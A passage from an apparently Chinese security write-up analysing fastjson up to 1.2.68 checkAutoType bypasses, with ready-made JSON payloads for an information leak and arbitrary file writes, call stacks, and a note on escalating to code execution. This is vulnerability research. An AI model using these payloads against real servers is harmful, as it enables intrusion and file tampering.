"java.lang.InternalError" -> {Class@357} "class java.lang.InternalError"
"[double" -> {Class@352} "class [D"
"byte" -> {Class@756} "byte"
"double" -> {Class@758} "double"
"java.lang.Exception" -> {Class@334} "class java.lang.Exception"
"java.lang.Double" -> {Class@276} "class java.lang.Double"
"[B" -> {Class@351} "class [B"
"java.lang.TypeNotPresentException" -> {Class@762} "class java.lang.TypeNotPresentException"
"[C" -> {Class@354} "class [C"
"[D" -> {Class@352} "class [D"
"java.text.SimpleDateFormat" -> {Class@766} "class java.text.SimpleDateFormat"
"[F" -> {Class@353} "class [F"
"[I" -> {Class@349} "class [I"
"java.util.TreeSet" -> {Class@770} "class java.util.TreeSet"
"[J" -> {Class@348} "class [J"
"java.util.ArrayList" -> {Class@230} "class java.util.ArrayList"
"java.lang.IllegalMonitorStateException" -> {Class@323} "class java.lang.IllegalMonitorStateException"
"com.alibaba.fastjson.JSONArray" -> {Class@775} "class com.alibaba.fastjson.JSONArray"
"[S" -> {Class@350} "class [S"
"java.lang.String" -> {Class@344} "class java.lang.String"
"java.lang.Number" -> {Class@278} "class java.lang.Number"
"java.util.LinkedHashSet" -> {Class@780} "class java.util.LinkedHashSet"
"[Z" -> {Class@355} "class [Z"
"java.lang.NegativeArraySizeException" -> {Class@783} "class java.lang.NegativeArraySizeException"
"java.lang.NumberFormatException" -> {Class@785} "class java.lang.NumberFormatException"
"java.lang.RuntimeException" -> {Class@333} "class java.lang.RuntimeException"
"char" -> {Class@788} "char"
"java.lang.OutOfMemoryError" -> {Class@325} "class java.lang.OutOfMemoryError"
"java.lang.IllegalStateException" -> {Class@791} "class java.lang.IllegalStateException"
"java.sql.Time" -> {Class@793} "class java.sql.Time"
"java.lang.NoSuchMethodException" -> {Class@795} "class java.lang.NoSuchMethodException"
"java.util.Collections$EmptyMap" -> {Class@223} "class java.util.Collections$EmptyMap"
"[boolean" -> {Class@355} "class [Z"
"float" -> {Class@799} "float"
"java.lang.AutoCloseable" -> {Class@293} "interface java.lang.AutoCloseable"
"java.lang.NullPointerException" -> {Class@265} "class java.lang.NullPointerException"
"java.lang.Byte" -> {Class@275} "class java.lang.Byte"
"[int" -> {Class@349} "class [I"
"com.alibaba.fastjson.JSONPObject" -> {Class@805} "class com.alibaba.fastjson.JSONPObject"
"java.lang.Cloneable" -> {Class@339} "interface java.lang.Cloneable"
"java.lang.IllegalAccessException" -> {Class@808} "class java.lang.IllegalAccessException"
"java.util.IdentityHashMap" -> {Class@810} "class java.util.IdentityHashMap"
"java.util.HashMap" -> {Class@207} "class java.util.HashMap"
"java.lang.NoClassDefFoundError" -> {Class@813} "class java.lang.NoClassDefFoundError"
"java.util.Hashtable" -> {Class@309} "class java.util.Hashtable"
"java.util.WeakHashMap" -> {Class@181} "class java.util.WeakHashMap"
"java.lang.IllegalThreadStateException" -> {Class@817} "class java.lang.IllegalThreadStateException"
"java.lang.IllegalArgumentException" -> {Class@66} "class java.lang.IllegalArgumentException"
"int" -> {Class@820} "int"
"java.util.concurrent.TimeUnit" -> {Class@822} "class java.util.concurrent.TimeUnit"
"boolean" -> {Class@824} "boolean"
"java.lang.InstantiationError" -> {Class@826} "class java.lang.InstantiationError"
"java.lang.InterruptedException" -> {Class@231} "class java.lang.InterruptedException"
"[float" -> {Class@353} "class [F"
接下来,由于是exception类,会有特定的反序列化器ThrowableDeserializer来处理。进入ThrowableDeserializer.deserialze,在这个方法中,读到了payload中的第二个@type,继续进入checkAutoType
这里有指定expectClass(checkAutoType的第二个参数),指定为java.lang.Throwable,使得expectClassFlag=true,进入if并加载@type指定的类,然后checkAutoType就返回了
摘自浅蓝师傅
checkAutoType 一般有以下几种情况会通过校验
- 白名单里的类
- 开启了 autotype
- 使用了 JSONType 注解
- 指定了期望类(expectClass)
- 缓存 mapping 中的类
接下来就是常规的创建对象调用setter设置字段,然后调用getter方法。这里不赘述,这个链子主要关注如何绕过checkAutoType
实际场景
场景来源于浅蓝师傅
selenium依赖中存在可以利用的异常类org.openqa.selenium.WebDriverException,利用这个类可以得到一些敏感信息:主机IP、主机名、系统名、系统架构、操作系统版本、java版本、Selenium版本、webdriver驱动版本
通过$ref 字段来调用异常类对象的getSystemInformation方法把值引用到content字段,就可以输出敏感信息了。
payload
{
"name":"tony",
"email":"tony@qq.com",
"content":{"$ref":"$r2.message"},
"r2":{
"@type":"java.lang.Exception","@type":"org.openqa.selenium.WebDriverException"
}
}
fastjson1.2.68_AutoCloseable_b1u3r
利用条件
fastjson<=1.2.68
存在如下依赖(具体版本要求不严格,只要存在需要的类即可)
#利用org.eclipse.core.internal.localstore.SafeFileOutputStream <dependency> <groupId>org.aspectj</groupId> <artifactId>aspectjtools</artifactId> <version>1.9.5</version> </dependency> #利用com.esotericsoftware.kryo.io.Output <dependency> <groupId>com.esotericsoftware</groupId> <artifactId>kryo</artifactId> <version>4.0.0</version> </dependency> #利用com.sleepycat.bind.serial.SerialOutput <dependency> <groupId>com.sleepycat</groupId> <artifactId>je</artifactId> <version>5.0.73</version> </dependency>
危害
- 任意文件写入
payload
{
"stream": {
"@type": "java.lang.AutoCloseable",
"@type": "org.eclipse.core.internal.localstore.SafeFileOutputStream",
"targetPath": "{你要写入的文件,路径可以任意指定}",
"tempPath": "xxx"
},
"writer": {
"@type": "java.lang.AutoCloseable",
"@type": "com.esotericsoftware.kryo.io.Output",
"buffer": "{base64编码的文件内容}",
"outputStream": {
"$ref": "$.stream"
},
"position": {文件内容长度}
},
"close": {
"@type": "java.lang.AutoCloseable",
"@type": "com.sleepycat.bind.serial.SerialOutput",
"out": {
"$ref": "$.writer"
}
}
}
反序列化链
浅蓝师傅讲的比较详细了,这里做些许补充
AutoClosable这条链的利用思路跟前面的Throwable是非常类似的,都是指定了两个@type字段,第一个@type指定为AutoClosable,通过缓存直接通过了checkAutoType,并且使用JavaBeanDeserializer来处理第二个@type的反序列化。在解析第二个@type时,由于指定了expectClass,也可以轻松通过checkAutoType。
不过,在利用expectClass通过checkAutoType时,还会有两个拦路虎。一是在@type指定的类加载之前,会有黑名单检测@type指定的className,在1070行
此外,在1111行成功加载了@type指定的类之后,还会有一个黑名单检测,不能是ClassLoader、DataSource、RowSet的实现类或是子类。这两个条件就堵住了很多payload,使得JNDI就比较困难了,只能是从其他的类入手。
这里浅蓝师傅找到的是文件流相关的三个类,它们在这个poc中分别起到了如下作用
- org.eclipse.core.internal.localstore.SafeFileOutputStream:创建恶意文件
- com.esotericsoftware.kryo.io.Output:存储将要写入的内容
- com.sleepycat.bind.serial.SerialOutput:触发写入操作
具体来看
首先创建SafeFileOutputStream对象,它的作用是创建恶意文件,这里的temp和target我们都可控,target指定为你要写入的文件路径,temp随意指定一个不存在的文件路径即可。这样就能满足两个if,打开文件流
接下来创建Output对象,调用无参构造,然后调用setter设置我们指定的outputStream、position和buffer。
接下来是创建SerialOutput对象。可以看到,我们上一步构造的output对象被传入了父类ObjectOutputStream的有参构造
这里解释一下为什么要用SerialOutput,而不能直接用他的父类ObjectOutputStream。
如果可以直接用java自带的ObjectOutputStream,那这个链子将会更加通用。而且我们之所以用SerialOutput,也是希望通过这个类间接调用到ObjectOutputStream的有参构造。那么为什么不能直接用ObjectOutputStream呢?
如果直接用ObjectOutputStream,fastjson在反序列化时调用的是它的无参构造,而我们希望调用的是有参构造。所以我们需要使用SerialOutput,这个类只有一个有参构造,fastjson也就只能调用这个构造器,在这个构造器中调用了父类ObjectOutputStream的有参构造,满足条件。
接下来的调用过程就比较简单了,直接给出调用栈。在ObjectOutputStream的有参构造中会触发文件写入,将buffer中的数据写入文件。
write:135, SafeFileOutputStream (org.eclipse.core.internal.localstore)
write:116, OutputStream (java.io)
flush:185, Output (com.esotericsoftware.kryo.io)
require:164, Output (com.esotericsoftware.kryo.io)
writeBytes:251, Output (com.esotericsoftware.kryo.io)
write:219, Output (com.esotericsoftware.kryo.io)
drain:1877, ObjectOutputStream$BlockDataOutputStream (java.io)
setBlockDataMode:1786, ObjectOutputStream$BlockDataOutputStream (java.io)
<init>:247, ObjectOutputStream (java.io)
<init>:73, SerialOutput (com.sleepycat.bind.serial)
fastjson1.2.68_AutoCloseable_rmb122
利用条件
- fastjson<=1.2.68
- 对应版本的jdk编译时指定了-parameters参数,即生成的字节码文件中包含了参数名(后文解释)
危害
- 任意文件写入
payload
jdk11
本人已测试于jdk11.0.5,成功
#生成文件内容
echo -ne "r2 is here" | openssl zlib | base64 -w 0
#计算文件内容长度
echo -ne "r2 is here" | openssl zlib | wc -c
{
'@type':"java.lang.AutoCloseable",
'@type':'sun.rmi.server.MarshalOutputStream',
'out':
{
'@type':'java.util.zip.InflaterOutputStream',
'out':
{
'@type':'java.io.FileOutputStream',
'file':'dst',
'append':false
},
'infl':
{
'input':
{
'array':'{base64编码的压缩文件内容}',
'limit':{压缩后的文件内容长度}
}
},
'bufLen':1048576
},
'protocolVersion':1
}
jdk8/10
由于本人windows安装的jdk都不满足利用条件2,没有复现。
{
'@type':"java.lang.AutoCloseable",
'@type':'sun.rmi.server.MarshalOutputStream',
'out':
{
'@type':'java.util.zip.InflaterOutputStream',
'out':
{
'@type':'java.io.FileOutputStream',
'file':'dst',
'append':false
},
'infl':
{
'input':'eJwL8nUyNDJSyCxWyEgtSgUAHKUENw=='
},
'bufLen':1048576
},
'protocolVersion':1
}
反序列化链
核心的调用栈如下所示
MarshalOutputStream的作用就相当于浅蓝师傅使用的SerialOutput,目的是触发写入操作。InflaterOutputStream负责缓冲存入的数据,FileOutputStream负责数据真正写入
write:354, FileOutputStream (java.io)
write:255, InflaterOutputStream (java.util.zip)
drain:1883, ObjectOutputStream$BlockDataOutputStream (java.io)
setBlockDataMode:1792, ObjectOutputStream$BlockDataOutputStream (java.io)
<init>:248, ObjectOutputStream (java.io)
<init>:64, MarshalOutputStream (sun.rmi.server)
最后解释一下为什么需要满足利用条件2
在fastjson将字段注入到对象中的时候,可以使用setter注入,也可以用构造方法直接注入。由于我们想要设置的字段MarshalOutputStream、InflaterOutputStream、FileOutputStream都没有对应的setter方法,没法实现注入,那么就只能利用构造方法注入。
使用构造方法注入时,必须知道参数的名字,否则将无法正确注入字段。为此,fastjson使用了ASMUtils.lookupParameterNames
方法来获取参数名字。
但是,究竟能否获取到参数名字取决于字节码生成时是否指定了-parameters参数。如果指定了,字节码中才会保存参数名字,否则不会保存。如果没有保存,自然也就获取不到参数名,那么也就注入失败了,就会爆出如下错误:找不到构造器
fastjson1.2.68延申
landgrey师傅提供了一种从写文件到rce的思路,根据jdk lib目录下的charsets.jar,伪造一个恶意的charsets.jar,向其中值入恶意代码,再利用fastjson的写文件漏洞将其写回靶机。当jvm再次加载这个jar包的类时,就会触发恶意代码执行。由于师傅已经写的非常详细了,这里不赘述。
参考文章
BasicDataSource:https://kingx.me/Exploit-FastJson-Without-Reverse-Connect.html
省赛wp:https://tari.moe/2021/05/23/2021gd-university-ctf/
parse 和 parseObject区别:https://mp.weixin.qq.com/s/C1Eo9wst9vAvF1jvoteFoA
1.2.47:https://cert.360.cn/warning/detail?id=7240aeab581c6dc2c9c5350756079955
https://www.freebuf.com/vuls/208339.html
1.2.68_Throwable:https://b1ue.cn/archives/348.html
1.2.68_AutoClose_b1u3r:https://b1ue.cn/archives/364.html
1.2.68_AutoClose_rmb122:https://mp.weixin.qq.com/s?__biz=MzUzMjQyMDE3Ng==&mid=2247484413&idx=1&sn=1e6e6dc310896678a64807ee003c4965&scene=21#wechat_redirect
从写文件到rce:https://landgrey.me/blog/22/